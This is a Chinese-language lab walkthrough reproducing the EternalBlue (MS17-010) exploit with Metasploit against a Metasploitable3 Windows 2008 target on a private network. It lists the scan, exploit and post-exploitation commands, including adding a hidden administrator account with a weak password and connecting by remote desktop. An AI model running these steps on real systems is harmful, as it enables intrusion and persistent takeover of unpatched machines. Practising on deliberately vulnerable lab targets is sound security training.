Metasploitable3学习笔记--永恒之蓝漏洞复现
漏洞描述：
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞，恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
影响版本：
目前已知受影响的Windows 版本包括但不限于：WindowsNT，Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
复现环境：
攻击机：Kali2020.3（IP：192.168.88.143）
靶机：Metasploitable3Win2k8 （IP：192.168.88.140）
复现过程：
1、用nmap执行C段扫描
nmap -r 192.168.88.0/24
2、打开MSF
在终端输入如下命令打开MSF终端：
msfconsole
3、搜索ms17_010模块
msf6 > search ms17_010
这里可以得到几个工具，其中auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块，xploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码，一般配合使用，前者先扫描，若显示有漏洞，再进行攻击。
4、执行扫描模块
msf6 > use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOST 192.168.88.140
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
5、执行ms17_010攻击模块
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.88.140 msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
成功弹回meterpreter会话，这也意味着我们已经渗透成功，拿到了目标主机的shell。
6、通过shell对靶机进一步控制
执行sysinfo，查看目标主机的系统信息。
执行shell，返回了shell
添加用户，并将用户添加到本地管理员组
C:\Windows\system32>net user 0pen1 123456 /add
C:\Windows\system32>net localgroup administrators 0pen1 /add
验证用户是否添加成功
C:\Windows\system32>net localgroup administrators
使用rdesktop连接靶机
wang@kali:~$ rdesktop 192.168.88.140
总结
到这里本次永恒之蓝复现就完成了，剩下的大家可以凭想象发挥了~
版权声明：本文为0pen1原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。